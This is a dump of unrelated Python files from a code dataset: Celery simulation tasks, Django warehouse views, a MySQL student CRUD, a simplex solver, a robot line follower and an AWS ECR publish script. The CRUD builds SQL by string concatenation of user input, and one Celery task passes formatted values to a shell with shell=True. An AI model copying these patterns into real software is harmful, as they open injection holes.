Best Time to Buy and Sell Stocks II.py","file_name":"122. Best Time to Buy and Sell Stocks II.py","file_ext":"py","file_size_in_byte":408,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"465132957","text":"# -*- coding: utf-8 -*-\n\nfrom celery.task import Task\nfrom celery.decorators import task\nfrom celery.result import AsyncResult\nfrom result_manager.models import ResultSourceMongodb\nfrom result_manager.models import SimulationResult\n\n\nimport os\nimport sys\nimport commands\nimport yaml\nimport json\nimport subprocess\nimport datetime\nimport time\n\n\nclass AddTask(Task):\n def rung(self, x, y):\n logger = self.get_logger(task_name=u'class')\n logger.info(\"Adding %s + %s\" % (x, y))\n return x + y\n\n@task\ndef add(x, y):\n logger = Task.get_logger(task_name=u'decorator')\n logger.info(\"Adding %s + %s\" % (x, y))\n return x + y\n\n@task\ndef exec_d2xp_mbs(conf, scale, num_area):\n logger = Task.get_logger()\n\n conf_pst_fix = datetime.datetime.today().strftime(\"%Y%m%d_%H%M%S\")\n fo = open(\"%s/message_simulator/config_%s.yml\" % (os.environ['HOME'], conf_pst_fix,) , \"w\")\n fo.write(yaml.dump(conf))\n fo.close()\n\n ## routing configuration\n rt_conf_file = \"conf/routing_%d_area%d.csv\" % (scale, num_area)\n\n ## node_spec \n nd_spec_file = \"conf/node_spec_%d.yml\" % scale\n\n ## network definition\n nw_def_file = \"conf/network_%d.yml\" % scale\n\n ## area definitiion\n area_def_file = \"conf/area_info_%d_area%d.csv\" % (scale, num_area)\n \n cdir = \"%s/message_simulator\" % os.environ['HOME']\n cmd = \"python d2xp_sim_system.py config_%s.yml %s %s %s %s\" % (conf_pst_fix,\n rt_conf_file, \n nd_spec_file,\n nw_def_file,\n area_def_file)\n\n p = subprocess.Popen(cmd, cwd=cdir, shell=True,\n stdin=subprocess.PIPE,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE)\n \n ext_code = p.wait()\n result = {}\n result['exit_code'] = ext_code\n result['stdout'] = p.stdout.readlines()\n# result['stdout'] = r\"%s\" % p.stdout\n result['stderr'] = p.stderr.readlines()\n# result['stderr'] = r\"%s\" % p.stderr\n logger.info(json.dumps(result, sort_keys=True, indent=2))\n\n ## very poor implementation because these worker tasks \n ## are seperated from the simulation program \"mbs\". \n ## Simulation ID will be acquired from the log string.\n sim_id = \"\"\n if ext_code == 0:\n # mbs is successfully completed.\n for line in result['stdout']:\n items = line.split(' ')\n if items[0] == \"Simulation\":\n sim_id = items[1]\n if sim_id == \"\":\n ## simulation was failed\n sim_id = \"may_be_failed_%s\" % datetime.datetime.today().strftime(\"%Y%m%d%H%M%S\")\n \n result['sim_id'] = sim_id\n task_id = exec_d2xp_mbs.request.id\n\n ## create and issue a task for retrieving the simulation result.\n ## this task will be got by main worker on GUI with MySQL Server\n r = retrieve_mbs_result.apply_async(args=[task_id], queue='MAIN')\n\n ## store the simulation result. the result will be stored in broker (RabbitMQ)\n return json.dumps(result)\n\n@task\ndef mbs_exec(conf):\n logger = Task.get_logger()\n return commands.getstatusoutput(cmd)\n\n@task\ndef exec_mbs():\n logger = Task.get_logger()\n os.chdir(\"~/message_simulator\")\n return os.environ['HOME']\n\n@task\ndef retrieve_mbs_result(target_task_id):\n logger = Task.get_logger()\n r = AsyncResult(target_task_id)\n sr = SimulationResult.objects.get(task_id__exact=target_task_id)\n# sr = SimulationResult.objects.get(sim_id__exact=r['sim_id'])\n logger.info(r)\n\n while not r.ready():\n time.sleep(0.1)\n\n result = json.loads(r.result)\n \n if result['exit_code'] == 0:\n ## success\n sr.sim_id = result['sim_id']\n \n ## these are rewrite if you add log collections\n sr.collections = json.dumps([\n \"%s_nwk\" % sr.sim_id,\n \"%s_node\" % sr.sim_id,\n \"%s_msg\" % sr.sim_id,\n \"%s_usr\" % sr.sim_id,\n \"%s_map\" % sr.sim_id,\n ])\n sr.task_progress = 100\n sr.task_status = \"SUCCESS\"\n sr.save()\n else:\n sr.sim_id = \"NO SIM_ID (FAILED)\"\n sr.task_status = \"FAILED\"\n sr.task_progress = 0\n sr.save()\n\n","sub_path":"result_manager/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":4409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"518574486","text":"def main():\n n = int(input())\n ss = list(input())\n num_sum = [0]*n\n west_sum = 0\n east_sum = 0\n for i in range(1, n):\n if ss[i-1] == 'W':\n west_sum += 1\n num_sum[i] += west_sum\n\n for i in range(n-2, -1, -1):\n if ss[i+1] == 'E':\n east_sum += 1\n num_sum[i] += east_sum\n\n ans = min(num_sum)\n print(ans)\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"Python_codes/p03339/s278444850.py","file_name":"s278444850.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"12535197","text":"from django.views.decorators.http import require_POST\r\nfrom user.models import User\r\nfrom outgoing.models import OutgoingApply\r\nfrom lhwms.utils import restful\r\nfrom lhwms.utils import attachment\r\n\r\n\r\n@require_POST\r\ndef outgoing_apply_create(request):\r\n \"\"\"领用申请创建\"\"\"\r\n user = User.objects.get(pk=1)\r\n\r\n stock_mark = request.POST.get('stock_mark') # 存放编号\r\n mat_mark = request.POST.get('mat_mark') # 物料编码\r\n mat_from = request.POST.get('mat_from') # 物料描述(选填)\r\n out_cons_mark = request.POST.get('out_cons_mark') # 单位\r\n num = request.POST.get('num') # 领用数量\r\n inventory_place = request.POST.get('inventory_place') # 库存地\r\n recipient = request.POST.get('recipient') # 领用人\r\n use = request.POST.get('use') # 用途\r\n use_project = request.POST.get('use_project') # 使用工程\r\n\r\n outgoing_create_file = OutgoingApply(\r\n user=user,\r\n stock_mark=stock_mark,\r\n mat_mark=mat_mark,\r\n mat_from=mat_from,\r\n out_cons_mark=out_cons_mark,\r\n num=num,\r\n inventory_place=inventory_place,\r\n recipient=recipient,\r\n use=use,\r\n use_project=use_project,\r\n )\r\n outgoing_create_file.save()\r\n\r\n\r\n@require_POST\r\ndef outgoing_apply_delete(request):\r\n \"\"\"删除对象\"\"\"\r\n pk = request.POST.get('pk')\r\n outgoing_delete_file = OutgoingApply.objects.get(pk=1)\r\n if outgoing_delete_file.is_visible is True or \\\r\n outgoing_delete_file.is_enable is True:\r\n return restful.ok(data='您无权限执行此操作!该入库单已通过申请或者已提交')\r\n else:\r\n outgoing_delete_file.delete()\r\n return restful.ok(data='改出库申请单已删除!')\r\n\r\n\r\n@require_POST\r\ndef outgoing_apply_update(request):\r\n \"\"\"更新对象\"\"\"\r\n pk = request.POST.get('pk')\r\n outgoing_file = OutgoingApply.objects.filter(pk=pk)\r\n\r\n stock_mark = request.POST.get('stock_mark') # 存放编号\r\n mat_mark = request.POST.get('mat_mark') # 物料编码\r\n mat_from = request.POST.get('mat_from') # 物料描述(选填)\r\n out_cons_mark = request.POST.get('out_cons_mark') # 单位\r\n num = request.POST.get('num') # 领用数量\r\n inventory_place = request.POST.get('inventory_place') # 库存地\r\n recipient = request.POST.get('recipient') # 领用人\r\n use = request.POST.get('use') # 用途\r\n use_project = request.POST.get('use_project') # 使用工程\r\n\r\n outgoing_file.update(\r\n stock_mark=stock_mark,\r\n mat_mark=mat_mark,\r\n mat_from=mat_from,\r\n out_cons_mark=out_cons_mark,\r\n num=num,\r\n inventory_place=inventory_place,\r\n recipient=recipient,\r\n use=use,\r\n use_project=use_project,\r\n )\r\n return restful.ok(data='更新操作成功!')\r\n\r\n\r\n@require_POST\r\ndef outgoing_apply_submit(request):\r\n \"\"\"提交申请\"\"\"\r\n pk = request.POST.get('pk')\r\n submit_outgoing_apply = OutgoingApply.objects.filter(pk=pk)\r\n submit_outgoing_apply.update(is_visible=True)\r\n return restful.ok(data='提交成功!')\r\n\r\n\r\n@require_POST\r\ndef outgoing_apply_approve(request):\r\n \"\"\"\r\n 审批和驳回\r\n :param request: pk,approve,\r\n :return:\r\n \"\"\"\r\n pk = request.POST.get('pk')\r\n approve_submit = request.POST.get('approve')\r\n reject_submit = request.POST.get('reject')\r\n submit_outgoing_apply = OutgoingApply.objects.filter(pk=pk)\r\n\r\n if approve_submit is True:\r\n submit_outgoing_apply.update(is_enable=True)\r\n return restful.ok(data='审批通过')\r\n\r\n\r\n@require_POST\r\ndef outgoing_accessory_uploading(request):\r\n data = attachment.attachment_uploading(request, model=OutgoingApply)\r\n return restful.ok(data)\r\n\r\n\r\n@require_POST\r\ndef outgoing_accessory_delete(request):\r\n data = attachment.attachment_delete(request)\r\n return restful.ok(data)","sub_path":"lhwms/outgoing/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3889,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"610693262","text":"sayi = int(input(\"Sayı giriniz : \"))\r\nsayiStr = str(sayi)\r\ntoplam = 0\r\n\r\nfor basamak in sayiStr:\r\n toplam += int(basamak) ** len(sayiStr)\r\n print(\" \",basamak,\"^\",len(sayiStr),\"=\",int(basamak) ** len(sayiStr))\r\n\r\nbasamak1 = int(sayiStr[0]) ** len(sayiStr)\r\nbasamak2 = int(sayiStr[1]) ** len(sayiStr)\r\nbasamak3 = int(sayiStr[2]) ** len(sayiStr)\r\n\r\nprint(basamak1,\"+\",basamak2,\"+\",basamak3,\"=\",toplam)\r\n\r\nif (toplam == sayi):\r\n print(sayi,\"bir armstrong sayısıdır.\")\r\nelse:\r\n print(sayi,\"bir armstrong sayısı değildir.\")","sub_path":"armstrong_sayisi.py","file_name":"armstrong_sayisi.py","file_ext":"py","file_size_in_byte":537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"298468929","text":"import time\n\nfrom image_app_core import start_server_process, get_control_instruction, put_output_image\n\nimport cv2\nimport numpy as np\n\nimport camera_stream\nfrom pid_controller import PIController\nfrom robot import Robot\n\n\nclass LineFollowingBehavior:\n def __init__(self, robot):\n self.robot = robot\n self.check_row = 180\n self.diff_threshold = 10\n self.center = 160\n self.running = False\n self.speed = 60\n # self.last_error = 0\n # self.last_value = 0\n # colors\n self.crosshair_color = [0, 255, 0] # green\n self.line_middle_color = [128, 128, 255] # red\n self.graph_color = [255, 128, 128] # blue\n # self.text_color = [50, 255, 50] # light green\n # self.text_font = cv2.FONT_HERSHEY_SIMPLEX\n\n def process_control(self):\n instruction = get_control_instruction()\n if instruction:\n command = instruction['command']\n if command == \"start\":\n self.running = True\n elif command == \"stop\":\n self.running = False\n if command == \"exit\":\n print(\"Stopping\")\n exit()\n\n\n def run(self):\n self.robot.set_pan(0)\n self.robot.set_tilt(90)\n camera = camera_stream.setup_camera()\n direction_pid = PIController(proportional_constant=0.4,\n integral_constant=0.01, windup_limit=400)\n\n time.sleep(1)\n self.robot.servos.stop_all()\n print(\"Setup Complete\")\n last_time = time.time()\n for frame in camera_stream.start_stream(camera):\n x, magnitude = self.process_frame(frame)\n self.process_control()\n if self.running and magnitude > self.diff_threshold:\n direction_error = self.center - x\n new_time = time.time()\n dt = new_time - last_time\n direction_value = direction_pid.get_value(direction_error, delta_time=dt)\n last_time = new_time\n\n print(f\"Error: {direction_error}, Value:{direction_value:2f}, t: {new_time}\")\n # self.last_error = direction_error\n # self.last_value = direction_value\n # speed = self.speed\n # speed -= abs(direction_value) / 3\n self.robot.set_left(self.speed - direction_value)\n self.robot.set_right(self.speed + direction_value)\n else:\n self.robot.stop_motors()\n self.running = False\n direction_pid.reset()\n last_time = time.time()\n\n def make_cv2_simple_graph(self, frame, data):\n last = data[0]\n graph_middle = 100\n for x, item in enumerate(data):\n cv2.line(frame, (x, last + graph_middle), (x + 1, item + graph_middle), self.graph_color)\n last = item\n\n def make_display(self, frame, middle, lowest, highest, diff): #, mag):\n # First, lets plot the center on it.\n cv2.line(frame, (self.center - 4, self.check_row), (self.center + 4, self.check_row), self.crosshair_color)\n cv2.line(frame, (self.center, self.check_row - 4), (self.center, self.check_row + 4), self.crosshair_color)\n # Now lets show where we found the middle\n cv2.line(frame, (middle, self.check_row - 8), (middle, self.check_row + 8), self.line_middle_color)\n # Next the width\n cv2.line(frame, (lowest, self.check_row - 4), (lowest, self.check_row + 4), self.line_middle_color)\n cv2.line(frame, (highest, self.check_row - 4), (highest, self.check_row + 4), self.line_middle_color)\n # finally the graph\n graph_frame = np.zeros((camera_stream.size[1], camera_stream.size[0], 3), np.uint8)\n self.make_cv2_simple_graph(graph_frame, diff)\n # cv2.putText(graph_frame, f\"Err: {self.last_error}\", org=(0, 120), fontFace=self.text_font, fontScale=1, color=self.text_color)\n # cv2.putText(graph_frame, f\"Val: {self.last_value}\", org=(0, 160), fontFace=self.text_font, fontScale=1, color=self.text_color)\n # cv2.putText(graph_frame, f\"Mag: {mag}\", org=(0, 200), fontFace=self.text_font, fontScale=1, color=self.text_color)\n # concatenate these\n display_frame = np.concatenate((frame, graph_frame), axis=1)\n encoded_bytes = camera_stream.get_encoded_bytes_for_frame(display_frame)\n put_output_image(encoded_bytes)\n\n def process_frame(self, frame):\n # get it in grey\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n # blur it a bit - we don't want to be finding noise.\n blur = cv2.blur(gray, (5, 5))\n # pick out the candidate row as signed 32 bit - so we can get negative diff spikes.\n row = blur[self.check_row].astype(np.int32)\n # Get the discrete difference\n diff = np.diff(row)\n max_d = np.amax(diff, 0)\n min_d = np.amin(diff, 0)\n # if we didn't end up either side of zero, then it's not our line.\n if max_d < 0 or min_d > 0:\n return 0, 0\n # find where the maximum and minimum occur\n highest = np.where(diff == max_d)[0][0]\n lowest = np.where(diff == min_d)[0][0]\n # the middle x is the middle of these\n middle = (highest + lowest) // 2\n # now find the width between them\n mag = max_d - min_d\n # make the display\n self.make_display(frame, middle, lowest, highest, diff) #, mag)\n return middle, mag\n\nprint(\"Setting up\")\nbehavior = LineFollowingBehavior(Robot())\nprocess = start_server_process('color_track_behavior.html')\ntry:\n behavior.run()\nfinally:\n process.terminate()\n","sub_path":"chapter17/0_starting_point/line_follow_behavior.py","file_name":"line_follow_behavior.py","file_ext":"py","file_size_in_byte":5685,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"366300214","text":"import mysql.connector\nfrom mysql.connector.errors import DatabaseError\n\nmydb = mysql.connector.connect(\n host=\"localhost\",\n user=\"user\",\n password=\"senha\",\n database=\"escola\"\n)\n\nconnect = mydb.cursor(\"\")\n\nclass Aluno:\n\n def __init__(self, nome, email, cpf): # Assim, você pode facilmente criar um aluno\n self.nome = nome\n self.email = email\n self.cpf = cpf\n\n def insert_aluno(self):\n connect.execute(\"Insert Into escola.alunos (Nome, Email, CPF) Values ('\"+ self.nome +\"', '\"+ self.email +\"', '\"+ self.cpf +\"')\")\n mydb.commit()\n print(connect.rowcount, \"Salvo com sucesso.\")\n \n def select_aluno(id = \"\"):\n if id == \"\":\n connect.execute(\"Select * From escola.alunos\")\n result = connect.fetchall()\n for i in result:\n print(i)\n else:\n connect.execute(\"Select * From escola.alunos Where ID_Aluno = \" + id)\n result = connect.fetchall()\n for i in result:\n print(i)\n\n def update_aluno(self, id):\n command = (\"Update escola.alunos Set Nome = '\"+ self.nome +\"', Email = '\"+ self.email +\"', CPF = '\"+ self.cpf +\"' Where ID_Aluno = \"+ id)\n connect.execute(command)\n mydb.commit()\n print(connect.rowcount, \"Registro alterado com sucesso.\")\n\n def delete_aluno(id):\n connect.execute(\"Delete From escola.alunos Where ID_Aluno = \"+ id)\n mydb.commit()\n print(connect.rowcount, \"Registro deletado com sucesso.\")\n\nclass Interface:\n\n connect = mydb.cursor(\"\")\n\n def cadastrar_aluno(self):\n aluno = Aluno(input('Qual é o nome do aluno?\\n'), input('Qual é o e-mail desejada?\\n'), input('Qual é o CPF desejada?\\n'))\n aluno.insert_aluno()\n\n def listar_alunos(self):\n id = input(\"Digite o número do aluno ou aperte enter para todos:\\n\")\n Aluno.select_aluno(id)\n\n def altera_aluno(self):\n numero_aluno = input('Qual é o número de listagem do aluno?\\n')\n aluno = Aluno(input('Alterar nome para: \\n'), input('Alterar e-mail para:\\n'), input('Alterar CPF para:\\n'))\n aluno.update_aluno(numero_aluno)\n\n def excluir_aluno(self):\n numero_aluno = input(\"Qual o número do aluno que deseja excluir?\\n\")\n Aluno.delete_aluno(numero_aluno)\n \n def loop(self):\n while True:\n cmd = input('\\n1 - Listar alunos\\n2 - Cadastrar aluno\\n3 - Alterar Aluno\\n4 - Exluir Aluno\\n')\n if cmd == '1':\n self.listar_alunos()\n elif cmd == '2':\n self.cadastrar_aluno()\n elif cmd == '3':\n self.altera_aluno()\n elif cmd == '4':\n self.excluir_aluno()\n else:\n print('Não entendi!')\n continue\n\n\nif __name__ == '__main__':\n interface = Interface()\n interface.loop()","sub_path":"AlunosCRUD.py","file_name":"AlunosCRUD.py","file_ext":"py","file_size_in_byte":2891,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"412701293","text":"from copy import deepcopy\nfrom . import model as m \nfrom .expressions import objective as o \nfrom .expressions import constraint as c\nfrom .exceptions import Unbounded\nimport numpy as np\nimport logging\n\nlogging.basicConfig(level=logging.INFO, format='%(message)s')\n\n\n\n\nclass Solution:\n \"\"\"\n A class to represent a solution to linear programming problem.\n\n\n Attributes\n ----------\n model : Model\n model corresponding to the solution\n assignment : list[float]\n list with the values assigned to the variables\n order of values should correspond to the order of variables in model.variables list\n\n\n Methods\n -------\n __init__(model: Model, assignment: list[float]) -> Solution:\n constructs a new solution for the specified model and assignment\n value(var: Variable) -> float:\n returns a value assigned to the specified variable\n objective_value()\n returns value of the objective function\n \"\"\"\n\n def __init__(self, model, assignment):\n \"Assignment is just a list of values\"\n self.assignment = assignment\n self.model = model\n\n def value(self, var):\n return self.assignment[var.index]\n\n def objective_value(self):\n return self.model.objective.evaluate(self.assignment) \n\n def __str__(self):\n text = f'- objective value: {self.objective_value()}\\n'\n text += '- assignment:'\n for (i,val) in enumerate(self.assignment):\n text += f'\\n\\t- {self.model.variables[i].name} = {val}'\n return text\n\nclass Tableaux:\n \"\"\"\n A class to represent a solution to linear programming problem.\n\n\n Attributes\n ----------\n model : Model\n model corresponding to the tableaux\n table : numpy.Array\n 2d-array with the tableaux\n\n Methods\n -------\n __init__(model: Model, solution: Solution) -> Tableaux:\n constructs a new tableaux for the specified model and solution\n cost_factors() -> numpy.Array:\n returns a vector containing factors in the cost row\n cost() -> float:\n returns the cost of solution represented in tableaux\n is_optimal() -> bool:\n checks whether the current solution is optimal\n choose_entering_variable() -> int:\n finds index of the variable, that should enter the basis next\n is_unbounded(col: int) -> bool:\n checks whether the problem is unbounded\n choose_leaving_variable(col: int) -> int:\n finds index of the variable, that should leave the basis next\n pivot(col: int, row: int):\n updates tableaux using pivot operation with given entering and leaving variables\n extract_solution() -> Solution:\n returns solution corresponding to the tableaux\n extract_basis() -> list[int]\n returns list of indexes corresponding to the variables belonging to the basis\n \"\"\"\n\n def __init__(self, model):\n self.model = model\n\t\t# the \"z column\" is always constant so we don't include it in our table\n cost_row = np.array((-1 * model.objective.expression).factors(model) + [0.0])\n\n self.table = np.array([cost_row] + [c.expression.factors(model) + [c.bound] for c in model.constraints])\n\n\n def cost_factors(self):\n return self.table[0,:-1] \n\n def cost(self):\n return self.table[0, -1]\n\n def is_optimal(self):\n # if all factors in the cost row are >= 0\n return all(factor >= 0 for factor in self.cost_factors())\n\n def choose_entering_variable(self):\n # return column index with the smallest factor in the cost row\n cost_factors = list(self.cost_factors())\n return cost_factors.index(min(cost_factors))\n\n\n def is_unbounded(self, col):\n # if all factors in the specified column are <= 0\n return all(factor <= 0 for factor in self.table[:, col])\n\n\n def choose_leaving_variable(self, col):\n # return row index associated with the leaving variable\n # to choose the row, divide beta column (last column) by the specified column\n # then choose a row index associated with the smallest positive value in the result\n # tip: take care to not divide by 0 :)\n\n logging.debug('\\n-- choose_leaving_variable({0}) -------------------------------------------------'.format(col))\n\n # get columns but ignore first row\n specified_column = self.table[1:, col]\n RHS = self.table[1:, -1]\n logging.debug('Specified column = {0}'.format(specified_column))\n logging.debug('Last column = {0}'.format(RHS))\n\n # divide RHS by specified_column, if there is zero division it's fine - result will be np.inf\n # so we won't consider it later cus we're searching for smallest element\n with np.errstate(divide='ignore'):\n divided = list(map(lambda x, y: x / y, RHS, specified_column))\n logging.debug('Divided = {0}'.format(divided))\n\n # convert all 0 and negative numbers to np.inf so we won't consider it later\n divided_zero_ignored = [x if x > 0 else np.inf for x in divided]\n logging.debug('Divided without zeros = {0}'.format(divided_zero_ignored))\n\n # get index of smallest element\n # + 1 to ignore first row\n return divided_zero_ignored.index(min(divided_zero_ignored)) + 1\n\n\n def pivot(self, row, col):\n # 1) the pivot row (row at index 'row') has to be devided by the old value of the table[row, col]\n # 2) the pivot column (column at index col) now belongs to basis and should contain only 0s\n # except the table[row,col] where it should equal 1 (already done in the first step)\n # 3) all other cells (neither in the pivot row nor column) are updated with the following rule:\n # t'[r,c] = t[r,c] + (-t[r,col]) * t'[row, c]\n # where:\n # * t' = new tableaux\n # * t = old tableaux\n # * row, col = pivot row and columns accordingly\n # * r, c = cell coordinates\n\n logging.debug('\\n-- pivot({0}, {1}) --------------------------------------------------------------'.format(row, col))\n\n # divide chosen row by divisor\n divisor = self.table[row, col]\n for i in range(len(self.table[row, :])):\n self.table[row, i] /= divisor\n\n\n logging.debug('Divisor(pivot) table[{0}][{1}] = {2}'.format(row, col, divisor))\n logging.debug('Pivot row after division = {0}'.format(self.table[row, :]))\n\n # produce recalculations list of tuples to change values of particular rows later\n recalculations = [(index, -val) for index, val in enumerate(self.table[:, col]) if index != row]\n logging.debug('Recalculations = {0}'.format(recalculations))\n\n # changing values of particular rows\n for r, val in recalculations:\n for c in range(len(self.table[r, :])):\n self.table[r, c] += val * self.table[row, c]\n\n\n\n\n\n\n\n def extract_solution(self):\n # prepare assignments for corresponding variables\n assignments = [0 for _ in range(len(self.model.variables))]\n for r, c in enumerate(self.extract_basis()):\n assignments[c] = self.table[r + 1, -1]\n\n return Solution(self.model, assignments)\n\n\n def extract_basis(self):\n rows_n, cols_n = self.table.shape\n basis = [-1 for _ in range(rows_n - 1)]\n for c in range(cols_n - 1):\n # check every column\n column = self.table[:, c]\n\n # make condition for the column\n belongs_to_basis = column.min() == 0.0 and column.max() == 1.0 and column.sum() == 1.0\n\n if belongs_to_basis:\n # get row\n row = np.where(column == 1.0)[0][0]\n\n # [row-1] because we ignore the cost variable in the basis\n basis[row-1] = c\n return basis\n\n\n def __str__(self):\n def cell(x, w):\n return '{0: >{1}}'.format(x, w)\n\n cost_name = \"z\"\n basis = self.extract_basis()\n header = [\"basis\", cost_name] + [var.name for var in self.model.variables] + [\"b\"]\n longest_col = max([len(h) for h in header])\n\n \n rows = [[cost_name]] + [[self.model.variables[i].name] for i in basis]\n\n for (i,r) in enumerate(rows):\n cost_factor = 0.0 if i > 0 else 1.0\n r += [str(v) for v in [cost_factor] + list(self.table[i])]\n longest_col = max(longest_col, max([len(v) for v in r]))\n\n header = [cell(h, longest_col) for h in header]\n rows = [[cell(v, longest_col) for v in row] for row in rows]\n\n cell_sep = \" | \"\n\n result = cell_sep.join(header) + \"\\n\"\n for row in rows:\n result += cell_sep.join(row) + \"\\n\"\n return result\n\n\nclass Solver:\n \"\"\"\n A class to represent a simplex solver.\n\n Methods\n -------\n solve(model: Model) -> Solution:\n solves the given model and return the first solution\n \"\"\"\n\n def solve(self, model, print_tableaux, stop_on_iteration):\n normal_model = self._normalize_model(deepcopy(model))\n tableaux = Tableaux(normal_model)\n\n\n\n iter = 0\n while not tableaux.is_optimal():\n # additional procedure for printing tableaux\n if print_tableaux:\n logging.info('\\n\\n- tableaux after {0} iteration:\\n{1}'.format(iter, tableaux))\n\n pivot_col = tableaux.choose_entering_variable()\n if tableaux.is_unbounded(pivot_col):\n raise Unbounded(\"Linear Programming model is unbounded\")\n pivot_row = tableaux.choose_leaving_variable(pivot_col)\n\n tableaux.pivot(pivot_row, pivot_col)\n iter += 1\n\n if stop_on_iteration:\n input(\"- press enter to continue...\")\n logging.debug('------------------------------------------------------------------------------')\n\n if print_tableaux:\n logging.info('\\n\\n- tableaux after {0} iteration:\\n{1}'.format(iter, tableaux))\n \n return tableaux.extract_solution()\n\n def _normalize_model(self, model):\n \"\"\"\n _normalize_model(model: Model) -> Model:\n returns a normalized version of the given model \n \"\"\"\n if model.objective.type == o.ObjectiveType.MIN:\n model.objective.invert()\n \n self.slack_variables = dict()\n for (i,constraint) in enumerate(model.constraints):\n if constraint.type != c.ConstraintType.EQ:\n slack_var = model.create_variable(f\"s{i}\")\n self.slack_variables[slack_var.index] = i\n \n if constraint.bound < 0:\n constraint.invert()\n \n constraint.expression = constraint.expression + slack_var * c.ConstraintType.LE.value * -1\n constraint.type = c.ConstraintType.EQ \n return model\n\n\n \n \n \n \n \n \n\n","sub_path":"lab3/saport/simplex/solver.py","file_name":"solver.py","file_ext":"py","file_size_in_byte":11152,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"362811576","text":"import string\nfrom itertools import permutations\n\nlower_case_letters = string.ascii_lowercase\nupper_case_letters = string.ascii_uppercase\ndigits = string.digits\n\n\ndef permutations_of_lower():\n perm_list = list(permutations(lower_case_letters, 4))\n word_list = []\n for tuple in perm_list:\n word_list.append(\"\".join(tuple))\n return word_list\n\ndef create_word(list_of_words):\n new_list = []\n for lettr in upper_case_letters:\n for wrd in list_of_words:\n concat_tuple = \"\".join(wrd)\n complete_word = lettr + concat_tuple\n new_list.append(complete_word)\n for wordd in new_list:\n if wordd == \"Zuzka\":\n print(\"There is a Zuzka!\")\n\ncreate_word(permutations_of_lower())\n","sub_path":"Other/Python Scripts/bruteforce.py","file_name":"bruteforce.py","file_ext":"py","file_size_in_byte":746,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"381273760","text":"#!/usr/bin/env python3\n# -*- encoding: utf-8 -*-\n\"\"\"\nPush a Docker image to ECR and upload a release ID to S3.\n\nUsage:\n publish_service_to_aws.py --namespace= --project= --infra-bucket= [--sns-topic=]\n publish_service_to_aws.py -h | --help\n\nOptions:\n -h --help Show this screen.\n --namespace= Namespace for the project e.g. \"uk.ac.wellcome\"\n --project= Name of the project (e.g. api, loris). Assumes\n there's a Docker image of the same name.\n --infra-bucket= Name of the infra bucket for storing release IDs.\n --sns-topic= If supplied, send a message about the push to this\n SNS topic.\n\nThis script looks up the release ID (which it assumes is the Docker tag)\nfrom the .releases directory in the root of the repo.\n\n\"\"\"\n\nimport os\nimport shlex\nimport subprocess\nimport sys\n\nimport boto3\nimport docopt\n\n\ndef cmd(*args):\n return subprocess.check_output(list(args)).decode('utf8').strip()\n\n\ndef git(*args):\n return cmd('git', *args)\n\n\nROOT = git('rev-parse', '--show-toplevel')\n\n\ndef ecr_repo_uri_from_name(ecr_client, name):\n \"\"\"\n Given the name of an ECR repo (e.g. uk.ac.wellcome/api), return the URI\n for the repo.\n \"\"\"\n resp = ecr_client.describe_repositories(repositoryNames=[name])\n try:\n return resp['repositories'][0]['repositoryUri']\n except (KeyError, IndexError) as e:\n raise RuntimeError('Unable to look up repo URI for %r: %s' % (name, e))\n\n\ndef ecr_login():\n \"\"\"\n Authenticates for pushing to ECR.\n \"\"\"\n # Normally subprocess.check_[call|output] prints an error that includes\n # the command that failed. This may include AWS credentials, so we\n # want to suppress the output in an error!\n try:\n command = cmd('aws', 'ecr', 'get-login', '--no-include-email')\n subprocess.check_call(shlex.split(command))\n except subprocess.CalledProcessError as err:\n sys.exit(err.returncode)\n\n\nif __name__ == '__main__':\n args = docopt.docopt(__doc__)\n\n s3 = boto3.resource('s3')\n bucket = s3.Bucket(args['--infra-bucket'])\n ecr_client = boto3.client('ecr')\n\n topic_arn = args['--sns-topic']\n\n project = args['--project']\n namespace = args['--namespace']\n\n repo_name = '%s/%s' % (namespace, project)\n\n print('*** Pushing %s to AWS' % repo_name)\n\n # Get the release ID (which is the image tag)\n release_file = os.path.join(ROOT, '.releases', project)\n release_file_exists = True\n try:\n tag = open(release_file).read().strip()\n except FileNotFoundError:\n release_file_exists = False\n tag = 'latest'\n docker_image = '%s:%s' % (project, tag)\n\n # Look up the URI of our ECR repo for authentication and push\n repo_uri = ecr_repo_uri_from_name(ecr_client, name=repo_name)\n print('*** ECR repo URI is %s' % repo_uri)\n\n print('*** Authenticating for `docker push` with ECR')\n ecr_login()\n\n # Retag the image, prepend our ECR URI, then delete the retagged image\n renamed_image_tag = '%s:%s' % (repo_uri, tag)\n print('*** Pushing image %s to ECR' % docker_image)\n try:\n subprocess.check_call(['docker', 'tag', docker_image, renamed_image_tag])\n subprocess.check_call(['docker', 'push', renamed_image_tag])\n finally:\n subprocess.check_call(['docker', 'rmi', renamed_image_tag])\n\n # Upload the release ID string to S3.\n if release_file_exists:\n print('*** Uploading release ID to S3')\n bucket.upload_file(Filename=release_file, Key='releases/%s' % project)\n\n if topic_arn is not None:\n import json\n\n sns_client = boto3.client('sns')\n\n get_user_output = cmd('aws', 'iam', 'get-user')\n iam_user = json.loads(get_user_output)['User']['UserName']\n\n message = {\n 'commit_id': git('rev-parse', '--abbrev-ref', 'HEAD'),\n 'commit_msg': git('log', '-1', '--oneline', '--pretty=%B'),\n 'git_branch': git('rev-parse', '--abbrev-ref', 'HEAD'),\n 'iam_user': iam_user,\n 'project': project,\n 'push_type': 'ecr_image',\n }\n sns_client.publish(TopicArn=topic_arn, 